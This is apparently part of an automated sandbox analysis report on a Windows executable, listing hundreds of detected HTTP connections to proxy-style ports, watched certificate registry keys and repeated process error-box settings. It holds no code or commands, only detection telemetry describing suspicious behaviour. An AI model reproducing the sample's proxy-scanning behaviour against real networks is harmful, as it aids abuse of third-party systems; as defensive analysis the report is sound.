Source: unknown	Network traffic detected: HTTP traffic on port 50715 -> 51123
Source: unknown	Network traffic detected: HTTP traffic on port 50618 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50651 -> 56613
Source: unknown	Network traffic detected: HTTP traffic on port 50639 -> 7891
Source: unknown	Network traffic detected: HTTP traffic on port 50827 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50275 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50750 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50636 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50874 -> 16487
Source: unknown	Network traffic detected: HTTP traffic on port 50693 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50349
Source: unknown	Network traffic detected: HTTP traffic on port 50787 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50852 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 4506
Source: unknown	Network traffic detected: HTTP traffic on port 50810 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50678 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 50725 -> 21000
Source: unknown	Network traffic detected: HTTP traffic on port 50670 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50447 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 50732 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 50582 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 808
Source: unknown	Network traffic detected: HTTP traffic on port 50868 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50773 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50837 -> 47344
Source: unknown	Network traffic detected: HTTP traffic on port 50808 -> 10046
Source: unknown	Network traffic detected: HTTP traffic on port 50783 -> 58612
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50239
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 29212
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50354
Source: unknown	Network traffic detected: HTTP traffic on port 50364 -> 32233
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 8635
Source: unknown	Network traffic detected: HTTP traffic on port 50871 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 46475
Source: unknown	Network traffic detected: HTTP traffic on port 51056 -> 48738
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50523
Source: unknown	Network traffic detected: HTTP traffic on port 50755 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51041 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 51051 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50854 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50883 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50877 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50910 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 50921 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 48993
Source: unknown	Network traffic detected: HTTP traffic on port 50904 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50483
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50894 -> 38832
Source: unknown	Network traffic detected: HTTP traffic on port 50954 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51020 -> 54321
Source: unknown	Network traffic detected: HTTP traffic on port 50967 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51052 -> 10011
Source: unknown	Network traffic detected: HTTP traffic on port 51094 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50576
Source: unknown	Network traffic detected: HTTP traffic on port 51164 -> 60283
Source: unknown	Network traffic detected: HTTP traffic on port 50931 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 50980 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51095 -> 10008
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 57320
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 9834
Source: unknown	Network traffic detected: HTTP traffic on port 50941 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 3030
Source: unknown	Network traffic detected: HTTP traffic on port 50535 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 51159 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51144 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50693
Source: unknown	Network traffic detected: HTTP traffic on port 51071 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51104 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51107 -> 45517
Source: unknown	Network traffic detected: HTTP traffic on port 50309 -> 22735
Source: unknown	Network traffic detected: HTTP traffic on port 51074 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51145 -> 10089
Source: unknown	Network traffic detected: HTTP traffic on port 51105 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50290 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 51041
Source: unknown	Network traffic detected: HTTP traffic on port 51160 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51090 -> 29631
Source: unknown	Network traffic detected: HTTP traffic on port 51151 -> 47152
Source: unknown	Network traffic detected: HTTP traffic on port 51102 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 50771 -> 1976
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50636
Source: unknown	Network traffic detected: HTTP traffic on port 31147 -> 50424
Source: unknown	Network traffic detected: HTTP traffic on port 51146 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 50613 -> 52929
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 51158 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 51168 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51106 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51217 -> 58630
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 51062 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 36129
Source: unknown	Network traffic detected: HTTP traffic on port 51176 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50811 -> 31908
Source: unknown	Network traffic detected: HTTP traffic on port 51171 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 51718
Source: unknown	Network traffic detected: HTTP traffic on port 50777 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 51214 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51181 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50395 -> 1388
Source: unknown	Network traffic detected: HTTP traffic on port 50691 -> 47935
Source: unknown	Network traffic detected: HTTP traffic on port 51135 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 51210 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 51209 -> 10007
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 7302 -> 50447
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 6116
Source: unknown	Network traffic detected: HTTP traffic on port 50631 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 10011 -> 51052
Source: unknown	Network traffic detected: HTTP traffic on port 50715 -> 51123
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 50755
Source: unknown	Network traffic detected: HTTP traffic on port 10008 -> 51095
Source: unknown	Network traffic detected: HTTP traffic on port 51219 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 51204 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 60349
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51104
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50275
Source: unknown	Network traffic detected: HTTP traffic on port 50192 -> 17982
Source: unknown	Network traffic detected: HTTP traffic on port 51252 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 51245 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50639 -> 7891
Source: unknown	Network traffic detected: HTTP traffic on port 50364 -> 32233
Source: unknown	Network traffic detected: HTTP traffic on port 10089 -> 51145
Source: unknown	Network traffic detected: HTTP traffic on port 51230 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 51317 -> 49588
Source: unknown	Network traffic detected: HTTP traffic on port 47152 -> 51151
Source: unknown	Network traffic detected: HTTP traffic on port 51282 -> 55019
Source: unknown	Network traffic detected: HTTP traffic on port 50334 -> 15280
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 50941
Source: unknown	Network traffic detected: HTTP traffic on port 51246 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 50390 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51249 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 51164 -> 60283
Source: unknown	Network traffic detected: HTTP traffic on port 51172 -> 36181
Source: unknown	Network traffic detected: HTTP traffic on port 51266 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50310 -> 60433
Source: unknown	Network traffic detected: HTTP traffic on port 51313 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50475 -> 46849
Source: unknown	Network traffic detected: HTTP traffic on port 51257 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50837 -> 47344
Source: unknown	Network traffic detected: HTTP traffic on port 50670 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 9091 -> 51158
Source: unknown	Network traffic detected: HTTP traffic on port 7302 -> 50146
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 51210
Source: unknown	Network traffic detected: HTTP traffic on port 10007 -> 51209
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51181
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 31654
Source: unknown	Network traffic detected: HTTP traffic on port 50431 -> 10919
Source: unknown	Network traffic detected: HTTP traffic on port 51265 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51332 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50454 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50457 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51287 -> 52395
Source: unknown	Network traffic detected: HTTP traffic on port 51296 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51290 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51306 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51302 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 51311 -> 48114
Source: unknown	Network traffic detected: HTTP traffic on port 51322 -> 54321
Source: unknown	Network traffic detected: HTTP traffic on port 51350 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50420 -> 21605
Source: unknown	Network traffic detected: HTTP traffic on port 51328 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50854 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50894 -> 38832
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 51378 -> 32708
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50602 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51340 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50707 -> 44809
Source: unknown	Network traffic detected: HTTP traffic on port 51380 -> 45517
Source: unknown	Network traffic detected: HTTP traffic on port 51346 -> 9123
Source: unknown	Network traffic detected: HTTP traffic on port 50967 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51382 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51327 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51204
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 5212
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 46475
Source: unknown	Network traffic detected: HTTP traffic on port 50655 -> 26545
Source: unknown	Network traffic detected: HTTP traffic on port 51386 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50551 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 8635
Source: unknown	Network traffic detected: HTTP traffic on port 8899 -> 50535
Source: unknown	Network traffic detected: HTTP traffic on port 50781 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50713 -> 23711
Source: unknown	Network traffic detected: HTTP traffic on port 51401 -> 8180
Source: unknown	Network traffic detected: HTTP traffic on port 50931 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 50740 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51411 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51447 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50841 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51257
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 48993
Source: unknown	Network traffic detected: HTTP traffic on port 51402 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 51050 -> 57364
Source: unknown	Network traffic detected: HTTP traffic on port 51015 -> 18636
Source: unknown	Network traffic detected: HTTP traffic on port 51017 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50907 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51036 -> 24834
Source: unknown	Network traffic detected: HTTP traffic on port 51317 -> 49588
Source: unknown	Network traffic detected: HTTP traffic on port 51443 -> 10008
Source: unknown	Network traffic detected: HTTP traffic on port 51456 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51485 -> 14455
Source: unknown	Network traffic detected: HTTP traffic on port 50763 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51495 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50806 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51090 -> 29631
Source: unknown	Network traffic detected: HTTP traffic on port 50691 -> 47935
Source: unknown	Network traffic detected: HTTP traffic on port 51445 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51483 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 32708 -> 51378
Source: unknown	Network traffic detected: HTTP traffic on port 51446 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 51441 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 51531 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 51029 -> 8118
Source: unknown	Network traffic detected: HTTP traffic on port 51563 -> 60069
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 57320
Source: unknown	Network traffic detected: HTTP traffic on port 51452 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51462 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 8899 -> 50777
Source: unknown	Network traffic detected: HTTP traffic on port 51491 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 51164 -> 60283
Source: unknown	Network traffic detected: HTTP traffic on port 51553 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51282 -> 55019
Source: unknown	Network traffic detected: HTTP traffic on port 50738 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51106 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51623 -> 24230
Source: unknown	Network traffic detected: HTTP traffic on port 50309 -> 22735
Source: unknown	Network traffic detected: HTTP traffic on port 50290 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 51497 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 51525 -> 3050
Source: unknown	Network traffic detected: HTTP traffic on port 51639 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51785 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 51490 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51636 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51566 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51584 -> 41890
Source: unknown	Network traffic detected: HTTP traffic on port 51457 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51650 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51570 -> 30673
Source: unknown	Network traffic detected: HTTP traffic on port 51786 -> 26589
Source: unknown	Network traffic detected: HTTP traffic on port 51108 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51601 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 51600 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 51732 -> 10919
Source: unknown	Network traffic detected: HTTP traffic on port 51735 -> 31654
Source: unknown	Network traffic detected: HTTP traffic on port 51737 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51607 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 10008 -> 51443
Source: unknown	Network traffic detected: HTTP traffic on port 51744 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51705 -> 2572
Source: unknown	Network traffic detected: HTTP traffic on port 51659 -> 40975
Source: unknown	Network traffic detected: HTTP traffic on port 51748 -> 5566
Source: unknown	Network traffic detected: HTTP traffic on port 51783 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51745 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 51633 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 51791 -> 8118
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50551
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 29212
Source: unknown	Network traffic detected: HTTP traffic on port 51290 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51135 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 18080 -> 51531
Source: unknown	Network traffic detected: HTTP traffic on port 51287 -> 52395
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 36129
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51483
Source: unknown	Network traffic detected: HTTP traffic on port 51809 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51311 -> 48114
Source: unknown	Network traffic detected: HTTP traffic on port 50882 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51890 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51764 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 51811 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51202 -> 16487
Source: unknown	Network traffic detected: HTTP traffic on port 51222 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51185 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51729 -> 8118
Source: unknown	Network traffic detected: HTTP traffic on port 50771 -> 1976
Source: unknown	Network traffic detected: HTTP traffic on port 51767 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51657 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 8800 -> 51785
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51057 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51233 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51972 -> 45517
Source: unknown	Network traffic detected: HTTP traffic on port 51933 -> 48623
Source: unknown	Network traffic detected: HTTP traffic on port 51091 -> 9999
Source: unknown	Network traffic detected: HTTP traffic on port 51812 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51918 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51639
Source: unknown	Network traffic detected: HTTP traffic on port 51974 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51948 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51317 -> 49588
Source: unknown	Network traffic detected: HTTP traffic on port 51860 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50837 -> 47344
Source: unknown	Network traffic detected: HTTP traffic on port 52017 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51981 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 52027 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 41890 -> 51584
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51566
Source: unknown	Network traffic detected: HTTP traffic on port 51654 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52038 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51951 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 52170 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52166 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52011 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 52025 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52010 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51340 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51346 -> 9123
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52022 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51294 -> 26927
Source: unknown	Network traffic detected: HTTP traffic on port 52024 -> 8180
Source: unknown	Network traffic detected: HTTP traffic on port 52141 -> 22500
Source: unknown	Network traffic detected: HTTP traffic on port 52115 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51979 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51310 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 52091 -> 31280
Source: unknown	Network traffic detected: HTTP traffic on port 51623 -> 24230
Source: unknown	Network traffic detected: HTTP traffic on port 52046 -> 8192
Source: unknown	Network traffic detected: HTTP traffic on port 52082 -> 29985
Source: unknown	Network traffic detected: HTTP traffic on port 52161 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52055 -> 10051
Source: unknown	Network traffic detected: HTTP traffic on port 52151 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 52093 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52078 -> 64556
Source: unknown	Network traffic detected: HTTP traffic on port 51172 -> 36181
Source: unknown	Network traffic detected: HTTP traffic on port 50364 -> 32233
Source: unknown	Network traffic detected: HTTP traffic on port 51538 -> 9990
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51490
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 7302 -> 51633
Source: unknown	Network traffic detected: HTTP traffic on port 51327 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52203 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 52075 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 52175 -> 10010
Source: unknown	Network traffic detected: HTTP traffic on port 3030 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 52102 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 52148 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52243 -> 26589
Source: unknown	Network traffic detected: HTTP traffic on port 52244 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52167 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 52251 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52214 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 52222 -> 31653
Source: unknown	Network traffic detected: HTTP traffic on port 51650 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 9091 -> 51764
Source: unknown	Network traffic detected: HTTP traffic on port 50894 -> 38832
Source: unknown	Network traffic detected: HTTP traffic on port 9080 -> 50345
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 52255 -> 31654
Source: unknown	Network traffic detected: HTTP traffic on port 52254 -> 10919
Source: unknown	Network traffic detected: HTTP traffic on port 52239 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 51767
Source: unknown	Network traffic detected: HTTP traffic on port 51354 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 52206 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 51441 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 52207 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 9080 -> 50456
Source: unknown	Network traffic detected: HTTP traffic on port 9090 -> 51135
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 52115
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 52161
Source: unknown	Network traffic detected: HTTP traffic on port 51202 -> 16487
Source: unknown	Network traffic detected: HTTP traffic on port 51446 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 50854 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51282 -> 55019
Source: unknown	Network traffic detected: HTTP traffic on port 8060 -> 50546
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 51948
Source: unknown	Network traffic detected: HTTP traffic on port 52208 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51399 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50681 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 52306 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 52257 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 51330 -> 8081

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
